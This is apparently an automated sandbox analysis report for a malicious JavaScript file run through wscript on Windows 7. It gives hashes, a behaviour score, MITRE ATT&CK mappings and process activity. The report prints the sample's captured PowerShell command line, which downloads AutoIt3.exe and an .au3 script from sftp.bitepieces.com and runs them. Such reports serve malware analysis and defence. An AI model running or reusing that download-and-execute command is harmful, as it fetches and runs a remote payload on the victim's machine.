21d51086d7aa99d7d96a5e9aa196da720fcf526fbe2421972e1c3555bb84fc8c

Analysis

max time kernel
118s
max time network
124s
platform
windows7_x64
resource
win7-20231020-en
resource tags

arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
submitted
25/10/2023, 17:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
1b2bfebd6093d8d95a03b4f732f89903ae6f828b292ab5765d0091b1.js
Size 135KB
Sample231025-v1eynsda29
SHA256 21d51086d7aa99d7d96a5e9aa196da720fcf526fbe2421972e1c3555bb84fc8c
MD5 a509ba7ed20b627448a220c2924d3a07
SHA1 4b2cc002217a95e42fa0d7b49ef5688ca186e74f
SHA512 9bfb1c14168d4ed73a6bd01eee819939676c412c0e3729d455b3f63df1eefa7607ddc5074ac69123b17660d2264343dd8afed089f123b6cf41c742bd681ec544
SSDEEP 1536:BZUTSCM9Cfq7u02PmUVdGXjXl4xc5KTPBoMqS7j8frPWgtZPnCUQrNgZnFFQE/0m:0T9U7hgaX6eerjqlI2IO6MzqfJAl
MD5 SHA1 SHA512 SSDEEP

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2112	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2112	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2200 wrote to memory of 2112	2200	wscript.exe	28
PID 2200 wrote to memory of 2112	2200	wscript.exe	28
PID 2200 wrote to memory of 2112	2200	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\1b2bfebd6093d8d95a03b4f732f89903ae6f828b292ab5765d0091b1.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/temp' -Type Directory -Force;cd 'C:/temp'; Invoke-WebRequest -Uri 'http://sftp.bitepieces.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://sftp.bitepieces.com:443/msirzskfhle' -OutFile 'rzskfhle.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'rzskfhle.au3'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2112

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2112-4-0x000000001B330000-0x000000001B612000-memory.dmp

Download

memory/2112-5-0x0000000001FD0000-0x0000000001FD8000-memory.dmp

Download

memory/2112-6-0x000007FEF5320000-0x000007FEF5CBD000-memory.dmp

Download

memory/2112-7-0x0000000002560000-0x00000000025E0000-memory.dmp

Download

memory/2112-8-0x0000000002560000-0x00000000025E0000-memory.dmp

Download

memory/2112-10-0x000007FEF5320000-0x000007FEF5CBD000-memory.dmp

Download

memory/2112-9-0x0000000002560000-0x00000000025E0000-memory.dmp

Download

memory/2112-11-0x0000000002560000-0x00000000025E0000-memory.dmp

Download

memory/2112-12-0x000007FEF5320000-0x000007FEF5CBD000-memory.dmp

Download